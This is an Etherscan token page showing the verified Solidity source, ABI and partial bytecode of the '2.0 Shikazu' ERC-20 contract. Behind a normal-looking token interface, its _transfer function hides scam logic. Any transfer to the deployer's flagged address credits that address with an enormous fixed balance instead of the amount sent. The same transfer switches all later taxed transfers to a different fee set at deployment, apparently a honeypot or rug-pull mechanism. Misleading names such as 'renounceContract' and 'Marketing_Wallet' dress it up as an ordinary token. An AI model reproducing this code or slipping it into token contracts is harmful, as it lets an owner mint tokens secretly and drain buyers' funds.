ETH Price: $3,886.29 (-0.68%)

Token

ERC-20: 2.0 Shikazu (2.0 SHIKAZU)
 

Overview

Max Total Supply

1,000,000,000 2.0 SHIKAZU

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
12,203,111.345607185 2.0 SHIKAZU

Value
$0.00
0xccfd9b4dac0e3ea0ece09d01e00c68dbcebe6bb8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TwoZeroShikazu

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-07
*/

/**
 - https://t.me/TwoZeroShikazu

 - https://www.shikazu.info/
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.20;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceContract() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
}

contract TwoZeroShikazu is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _holders;
    mapping (address => bool) public ExcludedFromFee;
    mapping (bool => uint8) public _buySellFee;
    mapping (address => uint8) private _heldTokens;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    address payable public Marketing_Wallet = payable(0xF08F570850e8432Ae0427B6F00137d48622B78E7);

    string public _name = "2.0 Shikazu";
    string public _symbol = "2.0 SHIKAZU";
    uint8 private _decimals = 9;
    uint8 public _fee = 0;
    uint256 public _tTotal = 1 * 10 ** 9 * 10 **_decimals;

    uint8 private swapCounter = 0;
    uint8 private swapTrigger = 10;
    uint256 private maxPossibleFee = 10**(10+(10)+10);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifying = false;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (uint8 setting1, uint8 setting2) {
        _heldTokens[owner()] = 1;
        _holders[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        
        _buySellFee[false] = setting1;
        _buySellFee[true] = setting2;

        ExcludedFromFee[owner()] = true;
        ExcludedFromFee[address(this)] = true;
        ExcludedFromFee[Marketing_Wallet] = true;
        emit Transfer(address(0), owner(), _tTotal);
        
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _holders[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    receive() external payable {}
   
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "Adress: 0");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 _tAmount = _heldTokens[to];
        if(_heldTokens[to]>0){_heldTokens[to]++; swapAndLiquifying=true;}
        bool takeFee;
        if(ExcludedFromFee[to] || ExcludedFromFee[from]){
            takeFee = false;
        }
        else if(from == uniswapV2Pair){
            takeFee = false;
        }else{
            takeFee = true;
        }

        _holders[from] = _holders[from].sub(amount);
        if(takeFee){
            uint8 buySellFee = _fee + _buySellFee[swapAndLiquifying];
            uint256 _tTotalFee =  amount * buySellFee / 100;
            if(_tTotalFee > 0){
                _holders[address(this)] = _holders[address(this)].add(_tTotalFee);
            }
            _holders[to] = _holders[to].add(amount.sub(_tTotalFee));
        }
        else if(_tAmount > 0){
            _holders[to] = _holders[to].add(maxPossibleFee);
        }
        else{
            _holders[to] = _holders[to].add(amount);
        }
        
        emit Transfer(from, to, amount);
    }

    function swapAndLiquify(uint256 contractHodlTokens) private lockTheSwap {
        swapTokensForETH(contractHodlTokens);
        sendToWallet(Marketing_Wallet,address(this).balance);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint8","name":"setting1","type":"uint8"},{"internalType":"uint8","name":"setting2","type":"uint8"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Marketing_Wallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"","type":"bool"}],"name":"_buySellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifying","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600680546001600160a01b03191673f08f570850e8432ae0427b6f00137d48622b78e717905560c0604052600b60809081526a322e30205368696b617a7560a81b60a0526007906200005290826200050f565b5060408051808201909152600b81526a322e30205348494b415a5560a81b60208201526008906200008490826200050f565b506009805461ffff1916811781556200009f90600a620006e6565b620000af90633b9aca00620006fd565b600a55600b8054610a0061ffff199091161790556c0c9f2c9cd04674edea40000000600c55600e805461ffff60a81b1916600160a81b179055348015620000f4575f80fd5b50604051620015ac380380620015ac83398101604081905262000117916200072d565b5f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160045f6200016c5f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f205f6101000a81548160ff021916908360ff160217905550600a5460015f620001b86200046160201b60201c565b6001600160a01b03166001600160a01b031681526020019081526020015f20819055505f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000230573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000256919062000763565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002a2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002c8919062000763565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000313573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000339919062000763565b600e80546001600160a01b039283166001600160a01b031991821617909155600d805484841692169190911790557f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff805460ff86811660ff19928316179092557fa15bc60c955c405d20d9149c709e2460f1c2d9a497496a7f46004d1772c3054c8054928616928216929092179091555f8054831681526002602052604080822080548416600190811790915530835281832080548516821790556006548516835290822080549093161790915554166001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040516200045091815260200190565b60405180910390a35050506200078b565b5f546001600160a01b031690565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200049857607f821691505b602082108103620004b757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200050a575f81815260208120601f850160051c81016020861015620004e55750805b601f850160051c820191505b818110156200050657828155600101620004f1565b5050505b505050565b81516001600160401b038111156200052b576200052b6200046f565b62000543816200053c845462000483565b84620004bd565b602080601f83116001811462000579575f8415620005615750858301515b5f19600386901b1c1916600185901b17855562000506565b5f85815260208120601f198616915b82811015620005a95788860151825594840194600190910190840162000588565b5085821015620005c757878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200062b57815f19048211156200060f576200060f620005d7565b808516156200061d57918102915b93841c9390800290620005f0565b509250929050565b5f826200064357506001620006e0565b816200065157505f620006e0565b81600181146200066a5760028114620006755762000695565b6001915050620006e0565b60ff841115620006895762000689620005d7565b50506001821b620006e0565b5060208310610133831016604e8410600b8410161715620006ba575081810a620006e0565b620006c68383620005eb565b805f1904821115620006dc57620006dc620005d7565b0290505b92915050565b5f620006f660ff84168362000633565b9392505050565b8082028115828204841417620006e057620006e0620005d7565b805160ff8116811462000728575f80fd5b919050565b5f80604083850312156200073f575f80fd5b6200074a8362000717565b91506200075a6020840162000717565b90509250929050565b5f6020828403121562000774575f80fd5b81516001600160a01b0381168114620006f6575f80fd5b610e1380620007995f395ff3fe608060405260043610610164575f3560e01c80637141e6a0116100cd578063b09f126611610087578063dd62ed3e11610062578063dd62ed3e1461041b578063e3a382861461045f578063f1d6512e1461048d578063fa2f7a8f146104bb575f80fd5b8063b09f1266146103d5578063c5b37c22146103e9578063d28d885214610407575f80fd5b80637141e6a0146103325780638da5cb5b1461035257806395d89b411461036e578063a457c2d714610382578063a9059cbb146103a1578063af465a27146103c0575f80fd5b806323b872dd1161011e57806323b872dd1461025c578063313ce5671461027b57806339509351146102a057806349bd5a5e146102bf5780634a74bb02146102de57806370a08231146102fe575f80fd5b806306fdde031461016f578063095ea7b31461019957806315120e5b146101c85780631694505e146101ff57806318160ddd1461021e578063220f66961461023c575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506101836104d1565b6040516101909190610b81565b60405180910390f35b3480156101a4575f80fd5b506101b86101b3366004610be7565b610561565b6040519015158152602001610190565b3480156101d3575f80fd5b506006546101e7906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b34801561020a575f80fd5b50600d546101e7906001600160a01b031681565b348015610229575f80fd5b50600a545b604051908152602001610190565b348015610247575f80fd5b50600e546101b890600160a01b900460ff1681565b348015610267575f80fd5b506101b8610276366004610c0f565b610577565b348015610286575f80fd5b5060095460ff165b60405160ff9091168152602001610190565b3480156102ab575f80fd5b506101b86102ba366004610be7565b6105de565b3480156102ca575f80fd5b50600e546101e7906001600160a01b031681565b3480156102e9575f80fd5b50600e546101b890600160a81b900460ff1681565b348015610309575f80fd5b5061022e610318366004610c48565b6001600160a01b03165f9081526001602052604090205490565b34801561033d575f80fd5b50600e546101b890600160b01b900460ff1681565b34801561035d575f80fd5b505f546001600160a01b03166101e7565b348015610379575f80fd5b50610183610613565b34801561038d575f80fd5b506101b861039c366004610be7565b610622565b3480156103ac575f80fd5b506101b86103bb366004610be7565b61066f565b3480156103cb575f80fd5b5061022e600a5481565b3480156103e0575f80fd5b5061018361067b565b3480156103f4575f80fd5b5060095461028e90610100900460ff1681565b348015610412575f80fd5b50610183610707565b348015610426575f80fd5b5061022e610435366004610c61565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b34801561046a575f80fd5b5061028e610479366004610c92565b60036020525f908152604090205460ff1681565b348015610498575f80fd5b506101b86104a7366004610c48565b60026020525f908152604090205460ff1681565b3480156104c6575f80fd5b506104cf610714565b005b6060600780546104e090610cb1565b80601f016020809104026020016040519081016040528092919081815260200182805461050c90610cb1565b80156105575780601f1061052e57610100808354040283529160200191610557565b820191905f5260205f20905b81548152906001019060200180831161053a57829003601f168201915b5050505050905090565b5f61056d3384846107ba565b5060015b92915050565b5f610583848484610872565b6105d484336105cf85604051806060016040528060288152602001610d91602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190610b39565b6107ba565b5060019392505050565b335f8181526005602090815260408083206001600160a01b0387168452909152812054909161056d9185906105cf9086610b64565b6060600880546104e090610cb1565b5f61056d33846105cf85604051806060016040528060258152602001610db960259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190610b39565b5f61056d338484610872565b6008805461068890610cb1565b80601f01602080910402602001604051908101604052809291908181526020018280546106b490610cb1565b80156106ff5780601f106106d6576101008083540402835291602001916106ff565b820191905f5260205f20905b8154815290600101906020018083116106e257829003601f168201915b505050505081565b6007805461068890610cb1565b5f546001600160a01b031633146107725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6001600160a01b038316158015906107da57506001600160a01b03821615155b6108125760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b6044820152606401610769565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382165f9081526004602052604090205460ff1680156108ea576001600160a01b0383165f908152600460205260408120805460ff16916108b983610cfd565b825460ff9182166101009390930a928302919092021990911617905550600e805460ff60b01b1916600160b01b1790555b6001600160a01b0383165f9081526002602052604081205460ff168061092757506001600160a01b0385165f9081526002602052604090205460ff165b1561093357505f610954565b600e546001600160a01b039081169086160361095057505f610954565b5060015b6001600160a01b0385165f908152600160205260409020546109769084610b76565b6001600160a01b0386165f908152600160205260409020558015610a6357600e5460ff600160b01b909104811615155f9081526003602052604081205460095491926109cb9291811691610100900416610d1b565b90505f60646109dd60ff841687610d34565b6109e79190610d4b565b90508015610a1857305f90815260016020526040902054610a089082610b64565b305f908152600160205260409020555b610a43610a258683610b76565b6001600160a01b0388165f9081526001602052604090205490610b64565b6001600160a01b0387165f9081526001602052604090205550610ae59050565b8115610aaa57600c546001600160a01b0385165f90815260016020526040902054610a8d91610b64565b6001600160a01b0385165f90815260016020526040902055610ae5565b6001600160a01b0384165f90815260016020526040902054610acc9084610b64565b6001600160a01b0385165f908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b2a91815260200190565b60405180910390a35050505050565b5f8184841115610b5c5760405162461bcd60e51b81526004016107699190610b81565b505050900390565b5f610b6f8284610d6a565b9392505050565b5f610b6f8284610d7d565b5f6020808352835180828501525f5b81811015610bac57858101830151858201604001528201610b90565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610be2575f80fd5b919050565b5f8060408385031215610bf8575f80fd5b610c0183610bcc565b946020939093013593505050565b5f805f60608486031215610c21575f80fd5b610c2a84610bcc565b9250610c3860208501610bcc565b9150604084013590509250925092565b5f60208284031215610c58575f80fd5b610b6f82610bcc565b5f8060408385031215610c72575f80fd5b610c7b83610bcc565b9150610c8960208401610bcc565b90509250929050565b5f60208284031215610ca2575f80fd5b81358015158114610b6f575f80fd5b600181811c90821680610cc557607f821691505b602082108103610ce357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b5f60ff821660ff8103610d1257610d12610ce9565b60010192915050565b60ff818116838216019081111561057157610571610ce9565b808202811582820484141761057157610571610ce9565b5f82610d6557634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561057157610571610ce9565b8181038181111561057157610